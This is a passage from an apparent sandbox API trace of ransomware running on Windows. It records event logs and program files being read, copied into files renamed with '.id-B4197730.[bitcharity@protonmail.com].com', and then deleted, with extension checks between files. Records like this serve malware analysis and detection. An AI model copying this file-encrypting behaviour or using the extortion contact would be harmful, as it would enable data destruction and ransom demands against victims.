(lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0152.214] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.214] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0152.215] GetLastError () returned 0x0 [0152.215] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0152.275] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0152.278] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.278] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x146, lpOverlapped=0x0) returned 1 [0152.278] SetEndOfFile (hFile=0x10e8) returned 1 [0152.278] CloseHandle (hObject=0x10e8) returned 1 [0152.281] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.281] SetEndOfFile (hFile=0x10a8) returned 1 [0152.282] CloseHandle (hObject=0x10a8) returned 1 [0152.282] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0152.282] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0152.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0152.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0152.283] lstrlenW (lpString=".doc") returned 4 [0152.283] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.283] lstrlenW (lpString=".docx") returned 5 [0152.283] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.283] lstrlenW (lpString=".pdf") returned 4 [0152.283] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.283] lstrlenW (lpString=".xls") returned 4 [0152.283] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.283] lstrlenW (lpString=".xlsx") returned 5 [0152.283] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.283] lstrlenW (lpString=".ppt") returned 4 [0152.283] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0152.283] lstrlenW (lpString=".zip") returned 4 [0152.283] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.283] lstrlenW (lpString=".rar") returned 4 [0152.283] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.283] lstrlenW (lpString=".bz2") returned 4 [0152.283] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.283] lstrlenW (lpString=".7z") returned 3 [0152.283] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0152.283] lstrlenW (lpString=".dbf") returned 4 [0152.283] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0152.283] lstrlenW (lpString=".1cd") returned 4 [0152.283] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0152.284] lstrlenW (lpString=".jpg") returned 4 [0152.284] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.284] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.284] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.284] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0152.285] GetLastError () returned 0x0 [0152.285] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0152.341] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0152.343] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.343] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x12c, lpOverlapped=0x0) returned 1 [0152.343] SetEndOfFile (hFile=0x10e8) returned 1 [0152.343] CloseHandle (hObject=0x10e8) returned 1 [0152.345] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.345] SetEndOfFile (hFile=0x10a8) returned 1 [0152.346] CloseHandle (hObject=0x10a8) returned 1 [0152.346] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0152.347] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0152.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0152.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0152.347] lstrlenW (lpString=".doc") returned 4 [0152.347] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.347] lstrlenW (lpString=".docx") returned 5 [0152.347] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.347] lstrlenW (lpString=".pdf") returned 4 [0152.347] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.347] lstrlenW (lpString=".xls") returned 4 [0152.347] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.347] lstrlenW (lpString=".xlsx") returned 5 [0152.347] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.347] lstrlenW (lpString=".ppt") returned 4 [0152.347] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0152.347] lstrlenW (lpString=".zip") returned 4 [0152.347] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.347] lstrlenW (lpString=".rar") returned 4 [0152.347] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.347] lstrlenW (lpString=".bz2") returned 4 [0152.348] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.348] lstrlenW (lpString=".7z") returned 3 [0152.348] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0152.348] lstrlenW (lpString=".dbf") returned 4 [0152.348] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0152.348] lstrlenW (lpString=".1cd") returned 4 [0152.348] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0152.348] lstrlenW (lpString=".jpg") returned 4 [0152.348] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.348] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.348] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.348] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0152.349] GetLastError () returned 0x0 [0152.349] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0152.522] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0152.537] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x1010, lpOverlapped=0x0) returned 1 [0153.373] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x1020, lpOverlapped=0x0) returned 1 [0153.383] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.383] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x134, lpOverlapped=0x0) returned 1 [0153.385] SetEndOfFile (hFile=0x10e8) returned 1 [0153.385] CloseHandle (hObject=0x10e8) returned 1 [0154.254] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.254] SetEndOfFile (hFile=0x10a8) returned 1 [0154.255] CloseHandle (hObject=0x10a8) returned 1 [0154.255] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.255] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0154.256] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0154.256] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0154.256] lstrlenW (lpString=".doc") returned 4 [0154.256] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.256] lstrlenW (lpString=".docx") returned 5 [0154.256] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.256] lstrlenW (lpString=".pdf") returned 4 [0154.256] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.256] lstrlenW (lpString=".xls") returned 4 [0154.256] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.256] lstrlenW (lpString=".xlsx") returned 5 [0154.256] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.256] lstrlenW (lpString=".ppt") returned 4 [0154.256] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.256] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0154.256] lstrlenW (lpString=".zip") returned 4 [0154.256] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.256] lstrlenW (lpString=".rar") returned 4 [0154.256] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.256] lstrlenW (lpString=".bz2") returned 4 [0154.257] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.257] lstrlenW (lpString=".7z") returned 3 [0154.257] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0154.257] lstrlenW (lpString=".dbf") returned 4 [0154.257] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0154.257] lstrlenW (lpString=".1cd") returned 4 [0154.257] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0154.257] lstrlenW (lpString=".jpg") returned 4 [0154.257] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.278] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.278] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.279] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.329] GetLastError () returned 0x0 [0154.329] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.350] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.352] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.352] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x102, lpOverlapped=0x0) returned 1 [0154.352] SetEndOfFile (hFile=0x10d8) returned 1 [0154.352] CloseHandle (hObject=0x10d8) returned 1 [0154.358] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.358] SetEndOfFile (hFile=0x10d0) returned 1 [0154.360] CloseHandle (hObject=0x10d0) returned 1 [0154.360] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.360] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0154.361] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0154.361] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0154.361] lstrlenW (lpString=".doc") returned 4 [0154.361] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.361] lstrlenW (lpString=".docx") returned 5 [0154.361] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.361] lstrlenW (lpString=".pdf") returned 4 [0154.361] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.361] lstrlenW (lpString=".xls") returned 4 [0154.361] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.361] lstrlenW (lpString=".xlsx") returned 5 [0154.361] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.361] lstrlenW (lpString=".ppt") returned 4 [0154.361] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.361] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0154.361] lstrlenW (lpString=".zip") returned 4 [0154.361] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.361] lstrlenW (lpString=".rar") returned 4 [0154.361] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.361] lstrlenW (lpString=".bz2") returned 4 [0154.361] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.361] lstrlenW (lpString=".7z") returned 3 [0154.361] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.361] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0154.361] lstrlenW (lpString=".dbf") returned 4 [0154.361] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.362] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0154.362] lstrlenW (lpString=".1cd") returned 4 [0154.362] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.362] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0154.362] lstrlenW (lpString=".jpg") returned 4 [0154.362] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.363] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.363] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.364] GetLastError () returned 0x0 [0154.364] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x3e70, lpOverlapped=0x0) returned 1 [0154.384] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0154.385] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.385] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.385] SetEndOfFile (hFile=0x10d8) returned 1 [0154.386] CloseHandle (hObject=0x10d8) returned 1 [0154.387] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.387] SetEndOfFile (hFile=0x10d0) returned 1 [0154.388] CloseHandle (hObject=0x10d0) returned 1 [0154.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0154.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0154.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0154.389] lstrlenW (lpString=".doc") returned 4 [0154.389] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0154.389] lstrlenW (lpString=".docx") returned 5 [0154.389] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0154.389] lstrlenW (lpString=".pdf") returned 4 [0154.389] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0154.389] lstrlenW (lpString=".xls") returned 4 [0154.389] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0154.389] lstrlenW (lpString=".xlsx") returned 5 [0154.389] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0154.389] lstrlenW (lpString=".ppt") returned 4 [0154.389] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0154.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0154.389] lstrlenW (lpString=".zip") returned 4 [0154.389] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0154.389] lstrlenW (lpString=".rar") returned 4 [0154.389] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0154.389] lstrlenW (lpString=".bz2") returned 4 [0154.389] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0154.389] lstrlenW (lpString=".7z") returned 3 [0154.389] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0154.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0154.389] lstrlenW (lpString=".dbf") returned 4 [0154.389] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0154.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0154.389] lstrlenW (lpString=".1cd") returned 4 [0154.389] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0154.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0154.390] lstrlenW (lpString=".jpg") returned 4 [0154.390] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0154.390] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.390] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.391] GetLastError () returned 0x0 [0154.391] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0154.410] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0154.411] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.411] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x112, 